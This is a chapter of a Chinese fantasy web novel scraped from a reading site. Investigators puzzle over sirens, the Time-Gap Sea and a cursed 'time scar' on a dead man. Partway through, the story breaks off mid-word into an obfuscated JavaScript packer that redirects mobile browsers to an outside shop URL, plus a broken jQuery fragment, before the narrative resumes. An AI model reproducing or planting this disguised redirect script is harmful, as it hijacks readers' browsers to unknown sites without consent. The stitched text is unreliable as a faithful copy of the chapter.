文趣网 > 其他小说 > 拂晓之前 > 5. 时痕 风暴诅咒
    拉希德见艾利诺拉不在状态,略显遗憾地收回视线,她虚按在照片上的手指微微蜷紧,垂下眼帘,浅浅地笑着。

    “维奥莱特先生叫过你的名字,我记下了。”拉希德淡定地说着。

    “我是两天前的晚上登记的,安德杰森讲故事时我确实不在场。不过……”拉希德语气稍顿,从绣着淡蓝鸢尾的纯白内衬口袋里掏出一枚古铜怀表,“露西小姐应该见过他。”

    她的手指轻轻落在侧面的小旋钮,骨节分明的指骨将小巧的怀表固在掌心,只轻轻一转,怀表便轻易打开了。

    怀表里面安放着一张全家福,大抵年份久了,照片的边缘部分泛黄,却能清晰辨别得出:

    ——照片上一位瓷黑皮男人和旁边亚麻发色的白种女人双双托住怀中的呱呱而泣的婴儿,一整个阖家团圆的温馨画面。

    男人头顶疤痕看上去面目狰狞,可他的眼神却与面相形成了最鲜明的对比。

    身侧是妻子,怀中是孩子。

    拉希德开口:“这位先生,想必露西小姐很熟悉吧。”

    露西定睛一看,这人是昨晚站在自己身后的人,她依稀记得身边的人都快听吐了,就他面露认真老老实实听完了全程。

    “露西小姐,他是我来到萨克城后雇的保镖,我负责付报酬,他负责保护我的安危并实时向我汇报情报。”拉希德将怀表合上,塞进口袋:“昨晚我有事出去了一趟,可又怕漏掉房东先生口中重要的信息便拜托他去听着,没想到邂逅了如此唯美又悲伤的故事。”

    她在一旁继续补充:“这枚怀表是他抵给我的,说这是萨克城历年来的规矩。”

    经过这么一通解释,露西心中的疑云消解大半,原来她误会拉希德了,这可真是罪过。

    她低头盯着自己的鞋底,双手微微合拢,拇指互相抠弄的速度比往日快了些,像极了做错事的小孩。

    她说:“对不起,我冤枉你了。”

    拉希德冲她礼貌笑了笑,声音客气又含蓄:“没关系的,我知道这是执行官的职责,对拿不定的事,看不透的人时刻保持自己的思考和警惕是理所应当的。”

    “反倒是我,我很荣幸可以为你们在这件事上提供微不足道的帮助。”

    说完,拉希德下意识瞄向艾利诺拉,一副“看吧,我是无辜的”的模样。

    艾利诺拉心里默默记下所有,声音如同被扼住般。她眼前的世界天旋地转,脑子更似快要炸掉。

    见状,维奥莱特开口询问:“你昨晚出去做什么?”

    艾利诺拉赞许地看了他一眼,没想到维奥莱特直接问出了她想问的。下一秒,她的头又像被狠狠敲过一样,无数的画面一涌而至在她脑海里一闪而过,可这一次艾利诺拉偏偏什么都抓不住。

    她痛苦地呻吟出声。

    站在她身边的维奥莱特敏锐地捕捉到这声呻吟,凑到她的耳边问:“你怎么了?”

    他现在还和艾利诺拉绑定着,保不准那药有什么副作用,万一艾利诺拉出事了把自己也交待在这儿,那可就得不偿失了。

    艾利诺拉不能出事。

    至少,现在不能。

    “没……”

    艾利诺拉刚要开口,后文却被拉希德的话打断了,她清了清嗓子,将想说的话咽下去。

    “执行官大人,昨晚我去看了海。”拉希德与维奥莱特对视,眉宇间透着几分认真,说话时却云淡风气。

    她在一众不解与沉思的表情中继续说着,“嗯……刚来萨克城的时候,我以为时隙之海是指萨克城的整片海域,直到昨晚我才发现不是这样的。”

    “我在海边碰到了一个人,那人告诉我,很久以前,时隙之海仅仅指代萨克城很小一部分的海域,历年来海妖都居住在那里从不害人,而其余的海域大多被陆上的人用来捕渔,那段时间人和海妖的关系十分和谐,甚至会有人类和海妖相爱,约定结伴终生。”

    “起初,海妖的性情温和,人类也十分愿意和它们接触,经常会将打来的东西分给它们。可不知从何时起,海妖一族性情大变,变得凶狠残暴,甚至直接开始食人,也是在那段时间时隙之海的范围扩大了。

    “他们曾经试过和海妖谈判,结果无一例外都失败了。还说直到现在,时隙之海的范围还在不断扩大,而那片范围越大海妖的性情愈发暴戾,他们找过原因,却无从找起。”

    听完的艾利诺拉心里后知后觉漾出了一丝庆幸,看来她运气不错,没有掉进与“时间”有关的海,否则凭当时的状态恐怕是凶多吉少。

    不。

    是一定。

    露西在一旁听得云里雾里,头都要炸了。

    上一秒她还在想海里竟然有海妖,结果下一秒就得知那海里还藏着时间。

    而且两位队长脸上还没有一点震惊的表情!!!

    维奥莱特沉思片刻,忽然想到什么,他转头问艾利诺拉:“那晚你在干嘛?”

    艾利诺拉不明所以地看他,但还是老老实实回答:“海里。”

    “被人丢下去了,我在自救,其余什么都没干。”

    “我以为你知道的。”艾利诺拉小声地说。

    维奥莱特当然知道,从艾利诺拉上岸后他就时刻关注着,她去过哪儿,跟谁说过话,他都知道的一清二楚。

    他双手插兜,语气急不可耐:“我指那个男孩,他跟你说了什么?”

    “风暴之主是海妖和人的混血?”

    “嗯。”

    维奥莱特对艾利诺拉这副逆来顺受的样子很是受用,上扬的尾音难免染上欣喜。

    露西的表情精彩极了,短短几分钟内,她不但得知了海里存在海妖和时间,甚至萨克人万众敬仰的风暴之主是人和海妖的混血,还听到了萨克人把执行官——自己最钦佩的队长丢海里了?

    不是?!

    萨克人胆子都这么大吗?

    拉希德百思不得其解,表情更是难以琢磨的沉重,她的食指微扣轻敲吧台,发出有节奏的声音。

    她开口问:“萨克人如此痛恨海妖,在得知风暴之主是人和海妖的混血后他们为什么仍然信仰着祂?”

    “甚至到了痴迷的程度。”艾利诺拉补充。

    是啊。

    为什么呢?

    逻辑存在谬误,答案匪夷所思。

    偏偏没有人能回答上来。

    吧台的气氛又一次次陷入压抑,窗外再度响起婉转迂回的歌声,不同于初次听到的那样,这歌声字字啼血,裹着凄侧,似在同亡灵道别,还有种……说不出来的悲伤。

    “那是海妖的声音。”

    维奥莱特双手揣兜,侧头望向窗外,眸子微狭,艾利诺拉也跟了过去,在他身后站定。

    “没有风暴。”

    “嗯?”

    “库尔曼告诉我海妖的歌声会唤来风暴,可这个没有。”

    “你说的库尔曼是不是有个哥哥?”拉希德问,“哥哥叫库尔逊?”

    两人齐刷刷转头看她。

    艾利诺拉微微偏头,银白的发丝在转头时轻轻掠过维奥莱特的脸颊泛起阵阵痒意。

    她问:“你认识他?”

    拉希德点头:“告诉我那些的人叫库尔逊,当时我还想问问他关于风暴之主的事情,可他告诉我要去找弟弟我就没再多问了。”

    “队队队长,快看。”

    不知露西看到了什么,她的牙床打颤,连着声音都在颤抖。

    三人往露西的方向看去。

    露西贴紧墙壁,大概是看到了不该看的东西,双腿发软,整个人扶着墙才能站定,她的右手指着安德杰森的胸口,蹦出了句不可思议的话:

    “安德杰森的胸口刚刚发光了。”

    发

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17836698|211461||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    光?

    维奥莱特迅速凑近,蹲下身查看安德杰森的情况。

    他此刻正安详地仰躺在地上,由于失血过多鲜血浸透了他大半的衣衫,身体严重失温,已经僵硬了起来。

    维奥莱特动作有些急,一个一个按照顺序解开他里衬的扣子,露出满是旧疤的皮肤。

    然而,接下来的一幕却让众人屏住呼吸。

    ——在贴近安德杰森心脏的位置有一缕小小的金光。

    维奥莱特被金光烫到。

    起身,收回手。

    金光在安德杰森的心口转了一圈,保护安德杰森不被靠近。

    斟测周遭环境安全后,金光附上他的皮肤缓缓浸入,开始向四处蔓开,瞬间覆盖了安德杰森的全身。

    他的身上泛着淡淡的金黄色光晕,快脱离安德杰森身体的光具象成了可视化的泡泡,如同水汽蒸发般向上,消失不见。

    待到金光完全消散,众人才缓缓凑上前。

    安德杰森的伤疤全都消失了,左胸处多了一枚小小的烙印和一个痕迹。正正好一同处在心房中央的那片皮肤,如果他还活着,这枚痕迹会有规律地随着他的心脏跳动。

    那是一个吻。

    不知道来自于谁的吻。

    “这是……时痕?”

    拉希德的脸色顿时苍白不少,她紧咬下唇原本红润的唇被她咬得泛白,她定定注视着那个印记,很久都憋不出一个字。

    她慌乱往后退了好几步,直到后背抵住吧台退无可退,她双手死死捂住自己的唇,眼泪顷刻间夺眶而出。

    “这是诅咒!”

    “来自风暴的诅咒!”

    这么久以来,他们第一次见到拉希德如此失态的样子,她流着泪,说话时音调难得提高。

    她近乎咆哮:“死去的管家身上也有,他从时隙之海回来死后的身体上也有。”

    “不过痕迹不一样。但是我能确认,这是时痕!这就是时痕!这是风暴之主的诅咒!”

    众人听得云里雾里,被拉希德这动静一闹露西反倒不怕了。

    她问:“痕迹都不一样你怎么确定那是时痕的?”

    拉希德终于意识到自己的失态,右手安放在胸前平复呼吸。她小心地用手帕揩拭掉脸上的泪,凑近安德杰森的尸.体,强忍着巨大的生理反应,点了点吻痕右上角的烙印。

    ——那是一颗锥形水滴,仔细看里面还藏着一个小小的齿轮,此刻在水滴里“咯吱咯吱”地小幅度转动。

    像极了眼泪。

    拉希德说:“管家的痕迹也是出现在这里,右上角有着和这枚水滴一样的印记,不过他的痕迹是一枚钱币。”

    众人还不知下一步做何打算,窗外忽然传来一阵剧响,艾利诺拉敏捷地探出去,外面竟空空如也,眼前平静的海面泛起层层叠叠的涟漪。

    奇怪。

    她明明看见有人影的。

    未待多想,更加匪夷所思的事情出现了,方才了无声息的安德杰森此刻竟动了起来。

    他的嘴唇嗫嚅,喃喃地喊着:

    “悉伯尼……悉伯尼……”

    他的脸上满是痛苦,额上冒着冷汗,似是被困于梦魇。

    亡灵不断低语。

    “扑通——”四人接续倒地。

    维奥莱特侧躺在地上,他的身子发软,眼前阵阵发白让他的视线模糊。

    不远处,他看到艾利诺拉靠窗小心地蜷缩起来。在她的身侧站定一个人,那人全身湿透,赤脚走向安德杰森,在地板上留下洇洇湿痕。

    维奥莱特拖着身子向前,却因使不上力气没能挪动半分。

    耳边响起阵阵鸣声,他听见有人在哭。

    他奋力向前一勾想要握住艾利诺拉的手,却在即将勾住时落了空。

    他缓缓闭上了眼睛,小声呢喃着:“艾利诺拉。”